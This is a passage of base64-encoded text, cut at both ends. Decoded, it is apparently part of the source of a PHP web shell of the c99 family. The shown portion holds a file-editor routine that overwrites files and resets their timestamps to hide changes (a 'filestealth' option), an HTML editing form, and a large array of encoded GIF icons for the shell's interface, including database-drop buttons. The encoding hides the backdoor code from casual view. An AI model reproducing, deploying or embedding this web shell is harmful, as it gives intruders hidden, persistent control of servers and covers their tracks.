jsNCiAgICAgZndyaXRlKCRmcCwkZWRpdF90ZXh0KTsNCiAgICAgZmNsb3NlKCRmcCk7DQogICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkZC4kZiwkc3RhdFs5XSwkc3RhdFs4XSk7fQ0KICAgICAkciA9ICRlZGl0X3RleHQ7DQogICAgfQ0KICAgfQ0KICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcikpOw0KICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgIGlmICgkcm93cyA+IDMwKSB7JHJvd3MgPSAzMDt9DQogICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJTYXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJyZXNldFwiIHZhbHVlPVwiUmVzZXRcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsb2NhdGlvbi5ocmVmPSciLmFkZHNsYXNoZXMoJHN1cmwuImFjdD1scyZkPSIuc3Vic3RyKCRkLDAsc3RybGVuKCRkKS0xKSkuIic7XCIgdmFsdWU9XCJCYWNrXCI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwiZWRpdF90ZXh0XCIgY29scz1cIjEyMlwiIHJvd3M9XCIiLiRyb3dzLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3RleHRhcmVhPjwvZm9ybT4iOw0KICB9DQogIGVsc2VpZiAoIWVtcHR5KCRmdCkpIHtlY2hvICI8Y2VudGVyPjxiPk1hbnVhbGx5IHNlbGVjdGVkIHR5cGUgaXMgaW5jb3JyZWN0LiBJZiB5b3UgdGhpbmssIGl0IGlzIG1pc3Rha2UsIHBsZWFzZSBzZW5kIHVzIHVybCBhbmQgZHVtcCBvZiBcJEdMT0JBTFMuPC9iPjwvY2VudGVyPiI7fQ0KICBlbHNlIHtlY2hvICI8Y2VudGVyPjxiPlVua25vd24gZXh0ZW5zaW9uICgiLiRleHQuIiksIHBsZWFzZSwgc2VsZWN0IHR5cGUgbWFudWFsbHkuPC9iPjwvY2VudGVyPiI7fQ0KIH0NCn0NCn0NCmVsc2UNCnsNCiBAb2JfY2xlYW4oKTsNCiAkaW1hZ2VzID0gYXJyYXkoDQoiYXJyb3dfbHRyIj0+DQoiUjBsR09EbGhKZ0FXQUlBQUFBQUFBUC8vL3lINUJBVVVBQUVBTEFBQUFBQW1BQllBQUFJdmpJK3B5KzBQRjRpMGdWdnp1VnhYRG5vUSIuDQoiU0lyVVpHWm9lcktmMjhLalBOUE9ha3U1UmZaK3VRc0toOFJpb2dBQU93PT0iLA0KImJhY2siPT4NCiJSMGxHT0RsaEZBQVVBS0lBQUFBQUFQLy8vOTNkM2NEQXdJYUdoZ1FFQlAvLy93QUFBQ0g1QkFFQUFBWUFMQUFBQUFBVUFCUUFBQU04Ii4NCiJhTHJjL2pES1NXV3BqVnlzU05pWUo0Q1VPQkpvcWpuaUlMend1ekx0WU4vM3pCU0VyZjZrQlcrZ0tSaVBSZ2hQaCtFRkswbU9VRXF0Ii4NCiJXZzBKQURzPSIsDQoiYnVmZmVyIj0+DQoiUjBsR09EbGhGQUFVQUtJQUFBQUFBUC8vLy9qNCtOM2QzY3pNekxLeXNvYUdodi8vL3lINUJBRUFBQWNBTEFBQUFBQVVBQlFBQUFObyIuDQoiZUxyY3JpYkc5MHk0RjFBbXU1K05oWTJreGwyQ01Ld3JRUlNHdVZqcDRMbXdEQVdxaUFHRlhDaGcreGhuUkIrcHRMT2hhaTFjckVtRCIuDQoiRGx3djRjRUM0Nm1pMllnSlFLYXhzRUdERm5uR3dXRFRFemo5anJQUmRiaHVHOENyLzJJTlpJT0VoWHNiRHdrQU93PT0iLA0KImNoYW5nZSI9Pg0KIlIwbEdPRGxoRkFBVUFNUWZBTDNoajduWCtwcW8xZWp5L2Y3WUFjVGIrOHZoKzZGdEg1NldadHZyL1JBUUVaZWN4OUxsL1BYNi92MysiLg0KIi8zZUh0NnE4OGVIdS9aa2ZIM3lWeUl1UXQrNzIva09tOTlmby9QOEFabTU3cmtHUzRIZXo2cGlsOW9lcDNHWm1adi8vL3lINUJBRUEiLg0KIkFCOEFMQUFBQUFBVUFCUUFBQVdmNENlT1pHbWU2Tm10TE91bFgrYzRUVk5WUTdlOXFGemZnNEhGb25rZEpBNVM1NGNiUkFvRnlFT0MiLg0KIndTaVV0bVlra3Jnd09BZUE1enJxYUxsZEJpTk1JSmVEMjY2WFlUZ1FEbTVSeDhtZEcrb0FiU1lkYUg0R2EzYzhKQk1KYVhRR0JRZ0EiLg0KIkNIa2pFNGFRa1EwQWxTSVRhbitaQVFxa2lpUVBqMUFGQWFNS0VLWWpEMzlRckt3S0FhOG5HUUs4QWd1L0N4VENzQ01leHNmSXhqREwiLg0KInpNc2hBRHM9IiwNCiJkZWxldGUiPT4NCiJSMGxHT0RsaEZBQVVBT1paQVB6OC9OUEZ5TmdITHMwWU92UHo4L2IyOXNhY3BOWFYxZlgxOWN3WE9mRHc4S2VucC9uNStldGdldW5wIi4NCiI2ZGNHTE1NcFJ1cnE2cEtTa3R2YjIrL3Y3KzF3aDNSMGRQblAxN2lBaXB4eWVsOWZYN2RqY3NjU005M2QzWkdSa2VFc1RldmQ0TEN3Ii4NCiJzR1JrWkdwT1UrSWZRK0VRTm9oNmZkSWNQZUhoNFlXRmhiSlFZdkx5OHVpK3htNXVic3hjY094OGtjTTRVdFk5V2VBZFFZbUppZld2Ii4NCiJ2SHg4Zk1uSnljTTNVZjN2OHJSdWU5OE9OYk96czlZRks1U1VsS1lvUCtUazVOMG9TdWZuNTdaR1dzUXJSOWtJTDVDUWtPUGo0MlZsIi4NCiJaZUFQTnVkQVg5c0tNUHY3KzE1UVU1dWJtMzkvZjhlNXU0eGlhdHJhMnViS3o4UER3K3BmZWU5L2xNSzB0ODFyZmQ4QUtmLy8vd0FBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0g1Ii4NCiJCQUVBQUZrQUxBQUFBQUFVQUJRQUFBZXNnRm1DZzRTRmhvZUloaVVmSUltSU1sZ1FCNDZHTEFsWVFrYUZWVmhTQUlaTFQ1Y2JFWUk0Ii4NCiJTVG81TXhPZmhRd0JBMWdZQ2hja1FCazFPd2lJQUxBQ0xrZ3hKaWxUQkk2OVJGaERGaDRIREpSWlZGZ1BQRkJSMEZrTldEZE1IQThHIi4NCiJCWlRhTUNJU1ZnTUM0SWtWV0NjYVBTaTk2T3FHTkZoS0kwNGRncjBRV0ZjS0RMM0E0dU9JalZaWkFCeFFJV0RCTGtJRVFyUm9Rc0hRIi4NCiJqd1ZGSEJnaUVHUUZJZ1Fhc1lrY1NiSlFJQUE3IiwNCiJkb3dubG9hZCI9Pg0KIlIwbEdPRGxoRkFBVUFMTUlBQUQvQUFDQUFJQUFBTURBd0g5L2YvOEFBUC8vL3dBQUFQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVUFCUUFBQVJPRU1sSnE3MDRVeUdPdmtMaGZWVTRrcE9KU3B4NW5GOVlpQ3RMZjBTdUg3cHUiLg0KIkVZT2djQmdrd0FpR3BIS1p6QjJKeEFEQVNRRkNpZFFKc01mZEdxc0RKbk9RbFhUUDM4cHJ6V2JYM3FnSUFEcz0iLA0KImZvcndhcmQiPT4NCiJSMGxHT0RsaEZBQVVBUElBQUFBQUFQLy8vOTNkM2NEQXdJYUdoZ1FFQlAvLy93QUFBQ0g1QkFFQUFBWUFMQUFBQUFBVUFCUUFBQU04Ii4NCiJhTHJjL2pESzJRcDl4VjVXaU41RzUwRlphUkxENkloRTY2THB0M1JEYmQ5Q1FGU0U0UCsrUVc3SGU3VUtQaDBJcVZ3MmwwUlFTRXF0Ii4NCiJXcXNKQURzPSIsDQoiaG9tZSI9Pg0KIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy8rcnE2dDNkM2N6TXpMS3lzb2FHaG1abVpnUUVCUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBa0FMQUFBQUFBVUFCUUFBQVIrTU1rNVRUV0k2aXB5TW9PM2NVV1JnZUpvQ0NhTG9LTzBtcTBaeGpOU0JEV1MiLg0KImtycUFzTGZKN1lRQmw0dGlSQ1lGU3BQTWRSUkNvUU9pTDRpOENnWmdrMDlXZldMQllaSEI2VVdqQ2VxdXdFREh1T0VWSzNRdGdOL2oiLg0KIlZ3TXJCRFp2Z0YrQ2hIYUdlWWlDQlFZSENIOFZCSmFXZEFlU2w1WWlXNStnb0JJUkFEcz0iLA0KIm1vZGUiPT4NCiJSMGxHT0RsaEhRQVVBTE1BQUFBQUFQLy8vNkNncE4zZDNjek16SWFHaG1abVpsOWZYLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUNINUJBRUFBQWdBTEFBQUFBQWRBQlFBQUFTQkVNbEpxNzA0NjFtNi8rQUhaTVVnbkdpcW5pTldISEFzejNGN0ZVR3U3M3hPIi4NCiIyQlpjd0dEb0VYay9VcTRJQ0FDZVE2ZnptWFRsbnMwZGRsZTk5YjdjRnZZcEVSNTVaMTBYeTFsS3Q4d3BvSXNBQ3JkYXFCcFlFWUsvIi4NCiJkSDFMUldpRWUwcFJUWEJ2Vkh3VWQzbzZlRDZPSEFTWG1KbWFtSlVTWTUrZ254dWpwQklSQURzPSIsDQoicmVmcmVzaCI9Pg0KIlIwbEdPRGxoRVFBVUFMTUFBQUFBQVAvLy8vSHg4ZXJxNnVQajQ5M2QzY3pNekxLeXNvYUdobVptWmw5Zlh3UUVCUC8vL3dBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBd0FMQUFBQUFBUkFCUUFBQVIxa01sSnEwUTQ2MHhSK0dBb0lNdmtoZUlZbE15SkJrSjhsbTZZeE1LaTZ6V1kiLg0KIjNBS0NZYmpvL1k0RVFxRmdLSVlVaDhFdnVXUTZQd1BGUUpwVUxwdW5yWFpMcllLeDIwRzNvREE3MDkzRXN2MTlxNU8vd29GdTlaQUoiLg0KIlIzbHVmbVdDVlgxM2gzS0hmV1dNakdCRGtwT1VUVHVYbUpnUkFEcz0iLA0KInNlYXJjaCI9Pg0KIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy8rcnE2dDNkM2N6TXpNREF3TEt5c29hR2huZDNkMlptWmw5ZlgwMU5UU2twS1FRRUJQLy8iLg0KIi93QUFBQ0g1QkFFQUFBNEFMQUFBQUFBVUFCUUFBQVNuME1sNXFqMHo1eHI2K0paR2VVWnBISXFSTk9JUmZJWWl5K2E2dmNPcEhPYXAiLg0KInM1SUtRY2N6OFhnSzRFR2dRcVdNdmtyU3NjeWxob2FGVm11WkxnVURBblp4RUJNT0RTbnJraGlTQ1o0Q0dyVVdNQStMTER4dVNIc0QiLg0KIkFrTjRDM3NmQlgxMFZIYUJKNFFmQTRlSVU0cGlqUWNGbUNWb05rRmxnZ2NNUlNjTlNVQ2RKeWhvRGFzTlo1TVREVnNYQndsdmlSbXIiLg0KIkNicTdDNnNJcnFhd3JLd1R2NjhpeUE2ckRoRUFPdz09IiwNCiJzZXR1cCI9Pg0KIlIwbEdPRGxoRkFBVUFNUUFBQUFBQVAvLy8vajQrT1BqNDkzZDNjek16TURBd0xLeXNwYVdsb2FHaG5kM2QyWm1abDlmWDAxTlRVSkMiLg0KIlFod2NIUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNINUJBRUEiLg0KIkFCQUFMQUFBQUFBVUFCUUFBQVdWSUNTS2lrS1dhRG11U2hDVWJqek13RW9HaFZ2c2ZIRUVOUllPZ2VnbGprZWcwUEY0S0JJRlJNSUIiLg0KInFDYUNKNGVJR1FWb0lWV3NUZlFvWE1mb1VmbU1acmdaMkdORFBHSUk3Z0pETFlFcndHMXZnVzhDQ1F0emdIaUpBbmFGaHl0MmR3UUUiLg0KIk93Y01ab1owa0pLVWxaZU9kUUtiUGdlZGpabWhuQWNKbHFhSXFVZXNtSWlrcEVpeG55Smh1bFVNaGcyNGFTTzZZeUVBT3c9PSIsDQoic21hbGxfZGlyIj0+DQoiUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuDQoiLzRZY2hmZnpHUWhINFlSWVBCMkRPbEhQaUt3cWQxUHE4eXJWVmczUVllSDVSWUs1ckpmYUZVVUEzdkI0ZkJJQkFEcz0iLA0KInNtYWxsX3VuayI9Pg0KIlIwbEdPRGxoRUFBUUFIY0FBQ0g1QkFFQUFKVUFMQUFBQUFBUUFCQUFod0FBQUllcDNCRTltbGxpYzNCNWlWcGpkTXZoL01MYyt5MVUiLg0KInA5UG0vR1Z1ZmM3ai9NelYvOVhtL0VPbTk5Ym4vTmpwL2E3USt0VG0vTEhTK2VYdy90M3IvTm5wL2Rqby9OcnEvZmo3Lzl2cS9OZm8iLg0KIi9NYmUrOHJoL01uZys3alcrcnZZK3I3Wis3WFI5ZERrL05Iay9OTGwvTFRVK3JuWCs4emkvTGJWKytmeC9lNzIvdkgzL3ZMNC91MzEiLg0KIi9lMzEvdUR1L2R6ci9PcnovZUh1L2ZYNi92SDQvdi8vLy92Ky8zZXo2dmY3Ly9UNS9rR1M0UHY5LzdYVitySFQrci9iK3J6YSt2UDQiLg0KIi91ejAvdXJ6L3U3MS91dnovZFRuL00vay9OM3MvZHZyL2NqZys4UGQrOEhjK3NmZis4VGUrL0QyL3JYSThySEY4YnJNODdmSjhubVAiLg0KIndyM044Ni9EOEt2QjhGOW5lRUZvdEVCbnRFTnB0RU5wdFN4VXB4MUlvRGxmclRSY3JaZWV5WmFjeHBtaHpJdVJ0cFdaeEl1T3VLcXoiLg0KIjlaT1d3WDZJczNXSXU1aW0wN3JKOUoydDJaZWswbTU3cnBxbzFuS0N0VVZydFlpcjN2ZjYvNDZ2NFl1dTRXWnZmcjdQNnNQUzZzRFEiLg0KIjY2WEI2Y2paOGEvSzc5L3MvZGJuL2V6ei9jemQ5bU4waktUQjZhaS83Nlc5N25pWHoyR0N3VjZBd1Vkc3RYeVZ5R1NEd25tWXo0aW8iLg0KIjI0T2kxYTNCNDVTeTRhZTk0NENjejRTajFuMkdsZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBam5BQ3RWQ2tDdzRKeEpBUVFxRkJqQXhvME1OR3FzQUJRQWg2Q0ZBM25rME1IaVJSRVZEaHpzb0xRd0FKMGdUNFRvZWNTSEFZTXoiLg0KImFRZ29ETkNDU0I0RUFuSW1DaVNCalV5R0xvYmdYQlRwa0FBNUk2cGdtU2tEejVjdU1Tejh5V2xBeW9DWkZHYjRTUUtoQVNNQlhKcE0iLg0KInVTclFFUXdrR2pZa1FDVEF5NkFsVU1oV2tsUUJ3NE1FaGdTQTZYUGdSeFM1aWk0MEtMRmdpNEJHVEVLQXNDS1hpaEVTQ3pyc2dTUUMiLg0KInlJa1VWK1NxT1lMQ0E0Y3NBdXA4Nk9HRGtOdzRCcFE0T2FCRmdCMFRFeUlVS3FEd1RSczRhOXlNQ1NPbURCb3ladTRzSktDZ3dJRGoiLg0KInlBc29rQmtRQURzPSIsDQoibXVsdGlwYWdlIj0+IlIwbEdPRGxoQ2dBTUFKRURBUC8vLy8vM21RQUFBQUFBQUNINUJBRUFBQU1BTEFBQUFBQUtBQXdBQUFJajNJUiIuDQoicEpoQ09Ebm92aWRBb3ZCZE16emtpeGxYZGxJMm9acEpXRXNTeXdMelJVQUFBT3c9PSIsDQoic29ydF9hc2MiPT4NCiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1hIi4NCiJTTHJjUGNFOUdLVWFRbFE1c041UGxvRkxKMzVPb0s2cTVTWUFPdz09IiwNCiJzb3J0X2Rlc2MiPT4NCiJSMGxHT0RsaERnQUpBS0lBQUFBQUFQLy8vOVRReUlDQWdQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBT0FBa0FBQU1iIi4NCiJTTHJjT2pCQ0I0VVZJVGd5THQ1Y2gybWdTSlpEQmk3cDZoSUpBRHM9IiwNCiJzcWxfYnV0dG9uX2Ryb3AiPT4NCiJSMGxHT0RsaENRQUxBUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8vOEEvd0QvIi4NCiIvLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU13QUFaZ0FBbVFBQXpBQUEvd0F6QUFBek13QXpaZ0F6bVFBenpBQXovd0JtIi4NCiJBQUJtTXdCbVpnQm1tUUJtekFCbS93Q1pBQUNaTXdDWlpnQ1ptUUNaekFDWi93RE1BQURNTXdETVpnRE1tUURNekFETS93RC9BQUQvIi4NCiJNd0QvWmdEL21RRC96QUQvL3pNQUFETUFNek1BWmpNQW1UTUF6RE1BL3pNekFETXpNek16WmpNem1UTXp6RE16L3pObUFETm1Nek5tIi4NCiJaak5tbVRObXpETm0vek9aQURPWk16T1paak9abVRPWnpET1ovelBNQURQTU16UE1aalBNbVRQTXpEUE0velAvQURQL016UC9aalAvIi4NCiJtVFAvekRQLy8yWUFBR1lBTTJZQVptWUFtV1lBekdZQS8yWXpBR1l6TTJZelptWXptV1l6ekdZei8yWm1BR1ptTTJabVptWm1tV1ptIi4NCiJ6R1ptLzJhWkFHYVpNMmFaWm1hWm1XYVp6R2FaLzJiTUFHYk1NMmJNWm1iTW1XYk16R2JNLzJiL0FHYi9NMmIvWm1iL21XYi96R2IvIi4NCiIvNWtBQUprQU01a0FacGtBbVprQXpKa0EvNWt6QUprek01a3pacGt6bVprenpKa3ovNWxtQUpsbU01bG1acGxtbVpsbXpKbG0vNW1aIi4NCiJBSm1aTTVtWlpwbVptWm1aekptWi81bk1BSm5NTTVuTVpwbk1tWm5NekpuTS81bi9BSm4vTTVuL1pwbi9tWm4vekpuLy84d0FBTXdBIi4NCiJNOHdBWnN3QW1jd0F6TXdBLzh3ekFNd3pNOHd6WnN3em1jd3p6TXd6Lzh4bUFNeG1NOHhtWnN4bW1jeG16TXhtLzh5WkFNeVpNOHlaIi4NCiJac3labWN5WnpNeVovOHpNQU16TU04ek1ac3pNbWN6TXpNek0vOHovQU16L004ei9ac3ovbWN6L3pNei8vLzhBQVA4QU0vOEFadjhBIi4NCiJtZjhBelA4QS8vOHpBUDh6TS84elp2OHptZjh6elA4ei8vOW1BUDltTS85bVp2OW1tZjltelA5bS8vK1pBUCtaTS8rWlp2K1ptZitaIi4NCiJ6UCtaLy8vTUFQL01NLy9NWnYvTW1mL016UC9NLy8vL0FQLy9NLy8vWnYvL21mLy96UC8vL3lINUJBRUFBQkFBTEFBQUFBQUpBQXNBIi4NCiJBQWc0QVA4SlJFRlE0RCtDQ0JPaTRNYXdJVGVGQ2cvaVFoRVB4Y1NCbEZDb1E1Rng0TVNLdjFCZ1JHR01vMGlKRkMyZWhIalNvTXQvIi4NCiJBUUVBT3c9PSIsDQoic3FsX2J1dHRvbl9lbXB0eSI9Pg0KIlIwbEdPRGxoQ1FBS0FQY0FBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJQUFnQUNBZ0lDQWdNREF3UDhBQUFEL0FQLy9BQUFBLy84QS93RC8iLg0KIi8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTXdBQVpnQUFtUUFBekFBQS93QXpBQUF6TXdBelpnQXptUUF6ekFBei93Qm0iLg0KIkFBQm1Nd0JtWmdCbW1RQm16QUJtL3dDWkFBQ1pNd0NaWmdDWm1RQ1p6QUNaL3dETUFBRE1Nd0RNWmdETW1RRE16QURNL3dEL0FBRC8iLg0KIk13RC9aZ0QvbVFEL3pBRC8vek1BQURNQU16TUFaak1BbVRNQXpETUEvek16QURNek16TXpaak16bVRNenpETXovek5tQURObU16Tm0iLg0KIlpqTm1tVE5tekRObS96T1pBRE9aTXpPWlpqT1ptVE9aekRPWi96UE1BRFBNTXpQTVpqUE1tVFBNekRQTS96UC9BRFAvTXpQL1pqUC8iLg0KIm1UUC96RFAvLzJZQUFHWUFNMllBWm1ZQW1XWUF6R1lBLzJZekFHWXpNMll6Wm1Zem1XWXp6R1l6LzJabUFHWm1NMlptWm1abW1XWm0iLg0KInpHWm0vMmFaQUdhWk0yYVpabWFabVdhWnpHYVovMmJNQUdiTU0yYk1abWJNbVdiTXpHYk0vMmIvQUdiL00yYi9abWIvbVdiL3pHYi8iLg0KIi81a0FBSmtBTTVrQVpwa0FtWmtBekprQS81a3pBSmt6TTVrelpwa3ptWmt6ekprei81bG1BSmxtTTVsbVpwbG1tWmxtekpsbS81bVoiLg0KIkFKbVpNNW1aWnBtWm1abVp6Sm1aLzVuTUFKbk1NNW5NWnBuTW1abk16Sm5NLzVuL0FKbi9NNW4vWnBuL21abi96Sm4vLzh3QUFNd0EiLg0KIk04d0Fac3dBbWN3QXpNd0EvOHd6QU13ek04d3pac3d6bWN3enpNd3ovOHhtQU14bU04eG1ac3htbWN4bXpNeG0vOHlaQU15Wk04eVoiLg0KIlpzeVptY3laek15Wi84ek1BTXpNTTh6TVpzek1tY3pNek16TS84ei9BTXovTTh6L1pzei9tY3ovek16Ly8vOEFBUDhBTS84QVp2OEEiLg0KIm1mOEF6UDhBLy84ekFQOHpNLzh6WnY4em1mOHp6UDh6Ly85bUFQOW1NLzltWnY5bW1mOW16UDltLy8rWkFQK1pNLytaWnYrWm1mK1oiLg0KInpQK1ovLy9NQVAvTU0vL01adi9NbWYvTXpQL00vLy8vQVAvL00vLy9adi8vbWYvL3pQLy8veUg1QkFFQUFCQUFMQUFBQUFBSkFBb0EiLg0KIkFBZ2pBUDhKUkVGUTREK0NDQk9pTU1oUW9jS0RFQmN1akVpUm9zU0JGakZlbk9od1lVQUFPdz09IiwNCiJzcWxfYnV0dG9uX2luc2VydCI9Pg0KIlIwbEdPRGxoRFFBTUFQY0FBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJQUFnQUNBZ0lDQWdNREF3UDhBQUFEL0FQLy9BQUFBLy84QS93RC8iLg0KIi8vLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTXdBQVpnQUFtUUFBekFBQS93QXpBQUF6TXdBelpnQXptUUF6ekFBei93Qm0iLg0KIkFBQm1Nd0JtWmdCbW1RQm16QUJtL3dDWkFBQ1pNd0NaWmdDWm1RQ1p6QUNaL3dETUFBRE1Nd0RNWmdETW1RRE16QURNL3dEL0FBRC8iLg0KIk13RC9aZ0QvbVFEL3pBRC8vek1BQURNQU16TUFaak1BbVRNQXpETUEvek16QURNek16TXpaak16bVRNenpETXovek5tQURObU16Tm0iLg0KIlpqTm1tVE5tekRObS96T1pBRE9aTXpPWlpqT1ptVE9aekRPWi96UE1BRFBNTXpQTVpqUE1tVFBNekRQTS96UC9BRFAvTXpQL1pqUC8iLg0KIm1UUC96RFAvLzJZQUFHWUFNMllBWm1ZQW1XWUF6R1lBLzJZekFHWXpNMll6Wm1Zem1XWXp6R1l6LzJabUFHWm1NMlptWm1abW1XWm0iLg0KInpHWm0vMmFaQUdhWk0yYVpabWFabVdhWnpHYVovMmJNQUdiTU0yYk1abWJNbVdiTXpHYk0vMmIvQUdiL00yYi9abWIvbVdiL3pHYi8iLg0KIi81a0FBSmtBTTVrQVpwa0FtWmtBekprQS81a3pBSmt6TTVrelpwa3ptWmt6ekprei81bG1BSmxtTTVsbVpwbG1tWmxtekpsbS81bVoiLg0KIkFKbVpNNW1aWnBtWm1abVp6Sm1aLzVuTUFKbk1NNW5NWnBuTW1abk16Sm5NLzVuL0FKbi9NNW4vWnBuL21abi96Sm4vLzh3QUFNd0EiLg0KIk04d0Fac3dBbWN3QXpNd0EvOHd6QU13ek04d3pac3d6bWN3enpNd3ovOHhtQU14bU04eG1ac3htbWN4bXpNeG0vOHlaQU15Wk04eVoiLg0KIlpzeVptY3laek15Wi84ek1BTXpNTTh6TVpzek1tY3pNek16TS84ei9BTXovTTh6L1pzei9tY3ovek16Ly8vOEFBUDhBTS84QVp2OEEiLg0KIm1mOEF6UDhBLy84ekFQOHpNLzh6WnY4em1mOHp6UDh6Ly85bUFQOW1NLzltWnY5bW1mOW16UDltLy8rWkFQK1pNLytaWnYrWm1mK1oiLg0KInpQK1ovLy9NQVAvTU0vL01adi9NbWYvTXpQL00vLy8vQVAvL00vLy9adi8vbWYvL3pQLy8veUg1QkFFQUFCQUFMQUFBQUFBTkFBd0EiLg0KIkFBZ3pBRkVJSEVpd29NR0RDQkg2VzBndG9VQi8vMUJFTk9pUDJzS0VDek5lTklpcVkwZC9GQmYreTBqUjQ4ZVFHVWM2SkJnUUFEcz0iLA0KInVwIj0+DQoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLy9qNCtPUGo0OTNkM2N6TXpMS3lzb2FHaGsxTlRmLy8vd0FBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFrQUxBQUFBQUFVQUJRQUFBUjBNTWxKcTczNG5zMVBua2NnamdYd2hjTlFySVZobUZvbnp4d1FqbmllMjdqZyIuDQoiKzRRZ3kzWGdCWDRJb0hEbE1oUnZnZ0ZpR2lTd1dzNVh5RGZ0V3BsRUorOUhRQ3l4MmMxWUVEUmZ3d2Z4dG9wNHA1M1B3TEtPanZ2ViIuDQoiSVh0ZGd3Z2RQR2RZZm5nMUlWZUphVElBa3BPVWxaWWZIeEVBT3c9PSIsDQoid3JpdGUiPT4NCiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vOTNkM2N6TXpMS3lzb2FHaG1abVpsOWZYd1FFQlAvLy93QUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUNINUJBRUFBQWtBTEFBQUFBQVVBQlFBQUFSME1NbEpxeXpGYWxxRVFKdUdFUVNDbldnNkZvZ3BrSEFNRjRIQUpzV2g3L3plIi4NCiJFUVlRTFVBc0dnTTBXd3QzYkNKZlFTRngxMHl5QmxKbjhSZkVNZ005WCszcUhXcTVpRUQ1eUNzTUNsMTExa25EcHVYZllscytJSzYxIi4NCiJMWGQrV1dFSExVZC9Ub0pGWlFPT2o1Q1JqaUNCbFphWElCRUFPdz09IiwNCiJleHRfYXNwIj0+DQoiUjBsR09EZGhFQUFRQUxNQUFBQUFBSUFBQUFDQUFJQ0FBQUFBZ0lBQWdBQ0FnTURBd0lDQWdQOEFBQUQvQVAvL0FBQUEvLzhBL3dELyIuDQoiLy8vLy95d0FBQUFBRUFBUUFBQUVTdkRJU2FzRjJONkRNTkFTOEJ4ZmwxVWlPWlllOWFVd2dwRFRxNnFQL0lYME96N0FYVS8xZVJnSSIuDQoiRDZIUGh6alNlTFlkWWFic0RDV01ad2hnM1dXdEtLNFFyTUhvaENBUytoQUJBRHM9IiwNCi